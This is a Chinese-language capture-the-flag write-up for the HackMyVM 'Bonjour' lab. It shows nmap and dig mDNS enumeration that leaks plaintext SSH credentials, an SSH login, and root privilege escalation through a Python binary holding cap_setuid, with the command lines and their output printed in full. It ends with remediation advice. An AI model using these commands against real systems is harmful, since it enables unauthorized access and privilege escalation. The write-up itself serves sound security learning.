跳到主要内容

HackMyVM Bonjour 通关记录｜mDNS 明文凭据泄露与 Python cap_setuid 提权

靶机链接：Bonjour

0x01 基本信息​

名称IP说明
Kali Linux192.168.1.113攻击机
Bonjour192.168.1.115Debian 13 靶机

攻击流程​

点击展开

攻击链摘要​

阶段关键证据 / 操作作用
服务发现22/tcp、5353/udp锁定 SSH 与 mDNS
mDNS 枚举_services._dns-sd._udp.local、_ssh._tcp.local确认目标通过 Avahi 发布 SSH 服务
明文泄露TXT 记录包含 username=user password=Aroipo902!获得有效 SSH 凭据
初始访问SSH 登录 user获得低权限 shell
本地枚举getcap -r /发现 Python 文件 capability
本地提权/usr/bin/python3.13 cap_setuid=ep通过 os.setuid(0) 拿到 root
结果验证读取 user.txt 与 root.txt完成靶机

0x02 侦察与信息收集​

1. TCP 端口扫描​

nmap -sS -p- --min-rate 1000 -T4 192.168.1.115

关键结果：

PORT   STATE SERVICE
22/tcp open  ssh

进一步版本识别：

nmap -sS -sV -p 22 192.168.1.115

回显：

22/tcp open  ssh  OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)

2. UDP 服务识别​

nmap -sU -p 5353 --reason -sV 192.168.1.115

结果：

5353/udp open  mdns  udp-response ttl 255 DNS-based service discovery

5353/udp 对应 mDNS / DNS-SD，优先考虑 Avahi、Bonjour 类服务发现。

0x03 漏洞分析与初始访问​

1. mDNS 服务枚举​

dig @192.168.1.115 -p 5353 _services._dns-sd._udp.local PTR +noall +answer +additional

结果：

_services._dns-sd._udp.local. 10 IN PTR _ssh._tcp.local.

继续解析 _ssh._tcp.local：

dig @192.168.1.115 -p 5353 _ssh._tcp.local PTR +noall +answer +additional

关键结果：

_ssh._tcp.local. PTR debian\032SSH._ssh._tcp.local.
debian\032SSH._ssh._tcp.local. TXT "username=user password=Aroipo902!"
debian\032SSH._ssh._tcp.local. SRV 0 0 22 debian.local.
debian.local. A 192.168.1.115

这里已经是完整攻击证据链：

  • 服务类型：_ssh._tcp.local
  • 服务实例：debian SSH
  • SSH 端口：22
  • 主机名：debian.local
  • 地址：192.168.1.115
  • TXT 泄露：username=user password=Aroipo902!

2. Nmap NSE 探测复核​

nmap -sU -p 5353 --script=dns-service-discovery 192.168.1.115

输出摘要：

| dns-service-discovery:
|   22/tcp ssh:
|     ipv4: 192.168.1.115
|     name: debian SSH
|     hostname: debian
|     TXT:
|_      username=user password=Aroipo902!

3. SSH 初始访问与获取 Shell​

使用泄露的凭据登录：

sshpass -p 'Aroipo902!' ssh user@192.168.1.115

验证身份：

id
hostname
whoami

输出：

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
debian
user

说明：

  • 已获得普通用户 user
  • 无 sudo 权限
  • 需要继续做本地提权

0x04 权限提升​

1. 本地信息收集​

登录后先检查 sudo、SUID 文件与文件 capability：

sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

sudo -l 结果：

Sorry, user user may not run sudo on debian.

SUID 没有明显非常规条目，随后在 capabilities 中发现高价值配置。linpeas.sh 的扫描结果同样指向：

/usr/bin/python3.13 cap_setuid=ep

手动进行复核确认：

getcap /usr/bin/python3.13

输出：

/usr/bin/python3.13 cap_setuid=ep

2. 提权点原理分析​

cap_setuid=ep 意味着当该解释器执行时，会被赋予有效（Effective）与允许（Permitted）的 CAP_SETUID 能力。

这就允许任意调用该 Python 解释器的普通用户在运行过程中：

  1. 启动 python3.13 解释器。
  2. 进程中携带 CAP_SETUID。
  3. 可在 Python 脚本内通过 os.setuid(0) 将进程的真实/有效 UID 修改为 0 (root)。
  4. 获得完整的 root 级别访问权限。

3. python3.13 capability 提权利用​

3.1 权限状态验证​

首先验证普通运行下的 UID，确实为 1000 (user)：

/usr/bin/python3.13 -c "import os; print(os.getuid(), os.geteuid())"

输出：

1000 1000

3.2 提权获取 Root Shell 与 Flag​

在 Python 脚本中调用 os.setuid(0)，使进程切换至 root 身份：

/usr/bin/python3.13 -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"

回显如下：

uid=0(root) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
79965b8036fe42fa255e8810e562a556d931406430ec54b619aff1916668e2b3

此时的 UID 已经切换为 0 (root)，拥有足够的权限读取 /root/root.txt。

4. Flag 读取验证​

User Flag​

cat /home/user/user.txt
87e9d005abf182cf3ab905d009c90e3e49e1b1049862de64ae2f94c76ddec3bd

Root Flag​

cat /root/root.txt
79965b8036fe42fa255e8810e562a556d931406430ec54b619aff1916668e2b3

0x05 最终成果 (Final Flags)​

User Flag​

  • 路径： /home/user/user.txt
  • 内容： 87e9d005abf182cf3ab905d009c90e3e49e1b1049862de64ae2f94c76ddec3bd

Root Flag​

  • 路径： /root/root.txt
  • 内容： 79965b8036fe42fa255e8810e562a556d931406430ec54b619aff1916668e2b3

复盘总结​

完整利用链较短，但两个配置不当的点都很致命：

  1. 5353/udp 的 Avahi / DNS-SD TXT 记录明文广播了 SSH 初始凭据。
  2. /usr/bin/python3.13 被错误地赋予了 cap_setuid=ep，导致普通用户可借此切换至 root。

对应的实际攻击路径：

mDNS 枚举
  -> TXT 记录泄露 user / Aroipo902!
     -> SSH 登录 user
        -> getcap -r / 发现 python3.13 cap_setuid=ep
           -> os.setuid(0)
              -> 读取 root.txt

这台靶机包含了典型的“远程服务配置不当（明文凭据泄漏）”与“本地权限配置错误（过大的能力集）”。两者结合导致防御层被轻易穿透。

防御与修复建议​

1. 修复 mDNS 凭据泄露​

删除或修改包含敏感信息的 Avahi 服务配置：

/etc/avahi/services/ssh.service

确保在服务定义中不包含带有凭据的 TXT 记录：

<txt-record>username=user password=Aroipo902!</txt-record>

如果环境中不需要服务广播，建议直接禁用 Avahi 服务：

systemctl disable --now avahi-daemon

2. 修复 Python capability 提权​

移除 Python 解释器上不必要的危险能力：

setcap -r /usr/bin/python3.13

并审计全机的文件能力配置：

getcap -r / 2>/dev/null

3. 其他安全增强​

  • 立即轮换 user 用户的系统密码。
  • 严格限制 SSH (22/tcp) 端口的访问来源。
  • 严禁对任何命令解释器（如 Python、Perl、Bash）或敏感工具赋予 cap_setuid 权限。

关键命令汇总​

nmap -sS -sV -p 22 192.168.1.115
nmap -sU -p 5353 --script=dns-service-discovery 192.168.1.115
dig @192.168.1.115 -p 5353 _services._dns-sd._udp.local PTR +noall +answer +additional
dig @192.168.1.115 -p 5353 _ssh._tcp.local PTR +noall +answer +additional
sshpass -p 'Aroipo902!' ssh user@192.168.1.115
getcap /usr/bin/python3.13
/usr/bin/python3.13 -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"